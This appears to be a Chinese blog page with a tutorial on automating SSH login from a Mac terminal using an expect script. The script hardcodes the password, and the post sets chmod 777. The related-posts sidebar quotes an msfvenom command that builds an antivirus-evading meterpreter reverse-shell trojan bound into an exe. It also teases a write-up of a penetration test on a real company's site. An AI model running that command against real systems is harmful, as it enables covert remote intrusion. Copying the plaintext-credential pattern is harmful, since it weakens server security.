Mac/m1终端配置自动登录ssh服务器等后续操作

【Gitlab】Gitlab MAC M1通过Docker Desktop安装教程 32行# external_url 'http://192.168.1.222' #配置ssh协议所使用的访问地址和端口。66行# gitlab_rails['gitlab_ssh_host'] = '192.168.1.222'650行# gitlab_rails['gitlab_shell_ssh_port'] = 8822。#配置http协议所使用的访问地址,填写宿主机映射端口,不加端口号默认为80;如下,在external_url后面配置gitlab的访问url。点击run,弹出以下界面,配置。 阅读详情

当我们每次连接ssh服务器的时候,都要输入账号密码等重复性的操作,这些动作让我们烦不胜烦。
那怎么办呢?有没有什么玩意能让我们只输入一条命令,并且根据传参来自动的执行这些固定的操作呢?
针对这个问题,我们就可以用expect神器来写一个自动化的交互脚本来解放我们的双手了。

下面是实现流程:

  • 先定一个我们未来写脚本的文件夹
mkdir ~/my_shell
  • 进入到该目录,创建一个文件:
cd ~/my_shell
vim autossh
  • 在autossh文件中写一下我们需要的自动化的操作:
#!/usr/bin/expect -f
set timeout 30
set user admin
# 这里可以自己自由发挥,[lindex $argv 0] 就是第一个传参的值
set host 192.168.10.[lindex $argv 0]
set password xxxxxx
spawn ssh $user@$host
expect "*assword:*"
send "$password\r"
# 这里自己去匹配哦 我这里登录后是显示的 ubuntu@ubuntu:~$
# 所以我就直接匹配 *@ubuntu$* 就可以。
expect "*@ubuntu$*"
send "top\r"
# .... 等等其他操作
interact
  • 保存文件,设置一下文件的执行权限:
# 这里的权限,自己定哦,我是随便设置的
chmod 777 authssh
  • 把我们的文件目录设置到 ~/.zshrc 配置文件中,方便调用:
vim ~/.zshrc
# 把这句话放到文件最后,然后保存退出
export PATH="/Users/xxx/my_shell:$PATH"
  • 然后应用一下配置文件:
source ~/.zshrc

好啦!恭喜!现在我们就可以调用我们的 authssh 命令来自动的连接服务器啦!

authssh 109

记得点赞收藏评论哦!谢谢!

Mac上最佳SSH工具:Termius实用指南 SSH(Secure Shell)协议是一种网络安全协议,它为网络服务提供安全的传输方式,常用于远程控制和文件传输等场景。通过SSH协议,数据在互联网中传输时能够得到加密处理,保证通信的机密性和完整性。现代的SSH客户端软件,如Termius,提供了更为便捷和强大的管理远程服务器的能力。Termius是一款集成了SSH客户端功能的跨平台应用,它不仅支持SSH协议,还具备易用性强和高度可定制化的用户界面。Termius允许用户轻松管理和操作多个服务器会话,并支持使用SFTP进行安全文件传输。 阅读详情

相关推荐

AGM Supra软件从零到一:国产CPLD工程创建全流程拆解

本文详细拆解了AGM Supra软件从零开始创建国产CPLD工程的全流程,包括开发环境配置、工程创建、Quartus项目转换、TCL脚本执行与编译等关键步骤。特别强调了中文路径避坑、器件型号选择等实用技巧,帮助开发者高效完成CPLD开发任务。

weixin_29158413的博客 410

MacOS配置连接服务器脚本

今天频繁登陆服务器,每次手动输入十分烦躁,这里记录下配置自动登陆服务器脚本的过程,以备下次配置或给他人借鉴 1.自动登录脚本 connect.bash #!/usr/bin/expect spawn ssh 用户名@服务器地址 expect "*password:" send "这里是登陆密码\r" expect "*#" interact 2.命令别名 MacOS的别名配置和Linux...

BoringError的博客 1331

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7650

mac环境下zsh自定义命令连接(ssh)服务器

zsh自定义命令连接(ssh)服务器

uninhibited的博客 2452

使用QGIS配准无人机航片

随着无人机在各个行业的普及,无人机航片成为很多应用系统空间数据的重要来源。无人机航片具有成像快、分辨率高、针对性强的优点,广泛用于保险定损、灾情应急监测、设施巡检、农作物面积调查等方面。 然而,由于种种原因,通过无人机拍摄的照片拼接得到的正射航片与其他地理空间数据叠加时经常出现较明显的偏差,需要进行配准以校正其空间位置,因此,本文将使用QGIS的配准工具演示无人机正射航片配准的过程。 01数据情况 本文选用的示范数据为2020年7月中左右无人机拍摄的河北省某地系列照片,经过拼接得到CG...

QGISClass的博客 5249

避坑指南:Cursor AI生成Flutter代码时最容易翻车的5个配置细节

本文深入剖析了使用Cursor AI生成Flutter代码时,因.cursorrules配置文件不当而导致的五大常见问题。重点探讨了如何通过制定清晰、具体的规则,避免状态管理混乱、设计图输入低效、项目架构脱节、性能隐患及规则维护缺失等陷阱,从而将AI转化为高效、可靠的开发伙伴,提升代码质量和团队协作效率。

wdx0123456的博客 415

Mac环境登录服务器时自动输入密码

我这里需要两次输入密码,所以写了两遍expect。在~/.bash_profile中添加命令别名。文件保存为expect_ssh.sh。这样就可以为登录服务器输入密码了。

freeRoad 1363

在AVP28335(兼容德州仪器TMS320-28335) 上实现ModbusSlaveRTU-485源码及注释。

今天先把题目先给出来, 在近两天会把源码 (含详细注释 )及部署、测试结果给出来, 希望能给大家帮助。(全免费 我有点缺德,断了别人的一个财路)。

FOOLCODE的专栏 642

mac 如何快速配置ssh -转载

转载地址:

weixin_56263402的博客 372

Halcon深度图转伪彩图

Halcon深度图转伪彩图

Quintin 3934

Web渗/透/攻/击实战(1)—成功渗/透台湾某净化设备公司官网

写在前面 作为一个防御型白帽黑客​ 你一定要知道黑客的进攻套路 才能有相应的防御措施 声明:只做测试,发现对方的漏洞,并不进行破坏性操作 1、 网站分析 地址:http://www.xxx.com.tw/ 这是一家中国台湾地区的网站,看着满屏的繁体字,就不是很舒服 网站首页包括:关于我们、资料下载、联络方式等等。 这些对我们进行sql注入用处并不大 我们需要的是可以进行参数传入的页面,这样我们就可以在参数里做文章 找一下 有没有新闻列表相关的页面 页...

信息安全领域优质创作者|操作系统领域专家 1807

使用expect自动登录ssh或telnet服务器

expect 自动登录 ssh telnet 服务器

macob的专栏 517

Python在振动信号处理中的应用(一):振动信号消除多项式趋势项

文章目录一、概述二、最小二乘法去除趋势项原理三、python模块介绍3.1 scikitlearn简介(1)转化器(Transformer)(2)估计器(Estimator)3.2 线性回归LinearRegression3.3 多项式PolynomialFeatures3.4 工作流Pipeline四、python代码实现4.1 构造模拟信号4.2 编写去除趋势项主代码4.3 展示算法效果五、TIPS 一、概述   在振动测试过程中,传感器或采集设备由于自身性能问题或受环境干扰(如温度、供电等影响),容易

白银时代的博客 8578

腾讯云服务器连接终极方案:用Mac终端+SSH秘钥一键登录(支持Ubuntu/CentOS)

本文详细介绍在Mac终端环境下,通过配置SSH秘钥实现一键登录腾讯云服务器的终极方案。文章涵盖秘钥标准化处理、智能SSH客户端配置、系统类型自识别脚本编写,并支持Ubuntu与CentOS系统,旨在为开发者和运维人员提供高效、安全的标准化连接工作流,显著提升服务器管理效率。

e4f5g6h7的博客 659

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Mac添加ssh config配置,快速登录Linux系统

shell中到根目录下.ssh文件夹 cd ~/.ssh/ 生成密钥(已经生成过的跳过这一步,gitlab等都需要的) ssh-keygen 创建配置文件 vim config 写入以下命令到config文件 Host myServer # 设置ssh host缩写 Hostname 47.***.***.10 # 服务器ip User root # 服...

第7维度 - 日常笔记 1万+

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

MAC 连接远程服务器,及文件操作,常用终端命令大全

一、使用ssh连接远程主机 ssh 用户名@ip地址 用户名和地址使用你要连接的服务器的。例如:ssh root@123.123.123.123 会提示y/n 一路y 之后提示输入密码 输入密码,回车 这时候会出现连接成功提示,到这一步就已经成功连接到服务器了。下面我们说下文件操作 二、服务器文件操作 1.使用菜单中Shell 选择 “新建远程连接” 2.进入“新建远程连接控制面...

gsn1125227的博客 4384

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

vscode SSH 保存密码自动登录服务器vs code

先在win local /mac 上拿到公钥和私钥,然后再把这公钥copy 进服务器。让ssh 身份认证转化为秘钥认证

weixin_40248634的博客 4万+

MAC终端存储服务器密码,实现一键登录

就只喜欢用TERMINAL不喜欢用ITERM或其他SSH工具,你懂得。 但是TERMINAL有一个缺点就是不能保存登录信息,这样每次登录服务器都要手敲一次。今天给大家分享如下方法,省事省到家啊: (请按下面步骤操作,有问题欢迎留言) 1.在TERMINAL下编辑当前用户(就是你)的profile文件,输入: vim ..bash_profile 在最后一行加入

Anthony的专栏 3021

Mac平台SSH工具与免密登录配置指南

SSH(Secure Shell)是运维工程师日常工作中最基础的远程连接协议,其核心原理是通过非对称加密实现安全通信。在Mac环境下,虽然缺乏Xshell等Windows经典工具,但通过iTerm2、Royal TSX等专业终端工具配合SSH密钥认证,可以实现更高效的服务器管理。密钥认证作为免密登录的基础技术,不仅提升操作便捷性,更是自动化运维的重要前提。实际应用中,通过合理配置~/.ssh/config文件和多密钥管理策略,可以应对跳板机、多环境等复杂场景。对于文件传输需求,Cyberduck等工具提供了

weixin_30855099的博客 410

使用mac自带的ssh工具登陆服务器

今天总算是见识到了mac作为程序员友好型电脑的强大之处。使用自带的ssh登陆腾讯云服务器。 1、使用命令行查看安装地址 (base) dghcs:~ tudghian$ whereis ssh /usr/bin/ssh 2、查看当前电脑的ssh行程 (base) dghcs:~ tudghian$ ps aux | grep ssh tudghian 20518 1.5 0...

斯坦福-MIT-Harvard-CMU 2514

Mac OS通过SSH远程登录Windows服务器的MySQL数据库

这里介绍如何通过比较简单的办法,让Mac端的Navicat能够通过SSH远程登录运行于Windows服务器上的MySQL数据库。

Sky的博客 1653

mac用自带终端shell连接服务器以及部署项目

mac用自带终端shell连接服务器以及部署项目 一、登录服务器 1、链接服务器,打开shell,点击 新建远程连接 2、点击右侧 + ,会出现弹框,输入服务器地址,点击好 3、添加完后右侧的服务器列表会出现刚才添加的内容,选中,然后在红框内输入 服务器账号,点链接进入到下一步 4、出现此图,输入服务器密码,注意,密码不会显示,输完后按回车,就OK啦,此时再进入到指定目录,进行操作。如果失败的...

weixin_42847807的博客 2561

MacBook M1芯片 安装Centos8 教程(无界面安装)

M1 安装Centos8 教程MacBook Pro M1芯片 安装Centos8 教程(无界面安装)Centos8 支持M1芯片下载地址0、Linux关机命令1、安装截图2、安装完成重启后提示如下警告⚠️:解决办法:其他两项,创建用户 和 网络配置 ,可以后面操作,无关紧要3、配置网络(由于在安装过程中没有配置网络,默认是关闭)3.1 编辑网络配置文件3.2 配置静态IP,并能够通过 SSH 连接4、关闭防火墙5、在M1芯片的MacBook上centos8安装`Parallels Tools`5.1、加载

Mr、温少的博客 2万+

MAC下生成密钥,并使用ssh密钥登录

步骤一:打开终端,输入: ssh-keygen -t rsa -C "youremail@qq.com" 一路欢快的回车,所有默认都不用改,就可以生成密钥了。 引号内是你唯一Email,这里可以作为以后Git远程仓库使用。 步骤二:查看生成的公钥和私钥: ls ~/.ssh 可以看到两个密钥文件:id_rsa(私钥) id_rsa.pub(公钥) ——...

aogouqian7476的博客 4493

Mac终端命令和连接服务器

Mac终端连接服务器远程登录 1.下载SSH客户端工具 这里推荐的SSH客户端是Royal TS SSH工具官网网站 下载免费版 下载安装即可 2.安装终端插件 点击click here 3.创建Document,配置服务器连接 在下图红框下根目录创建一个Document,免费版只能创建一个 创建后,选中Document,右键创建Terminal 配置服务器地址和端口号 Mac终端常用命令 1.文件基本属性 ll 或者 ls –l :命令显示一个文件的属性以及文件所属的用户和组 [root

weixin_42010722的博客 1626

通过密钥SSH登录

理解: 一直以来都是通过密码远程 ssh 登录到 linux服务器 最近学习 Docker 总是看到大家都设置成密钥方式登录 除了密码被破解的风险之外,到底还有哪些好处? 看到有个文章写到:如果有员工离开,只需要删除他的公钥,这还有点儿用! 但是密码还是要修改的吧!改密码和删除公钥,哪个更直接有效? 测试环境、测试目标 linux 客户端(192.168.1.191): 环...

哈哈虎的博客 4396
上一篇: Clickhouse 如何在外部存储器中进行分组Group By 设置配置项 max_bytes_before_external_group_by、max_memory_usage
下一篇: 如何使用gdb查看堆栈情况?怎么查看?bt 或 info stack 有什么区别?
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

天河书阁 VicRestart

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值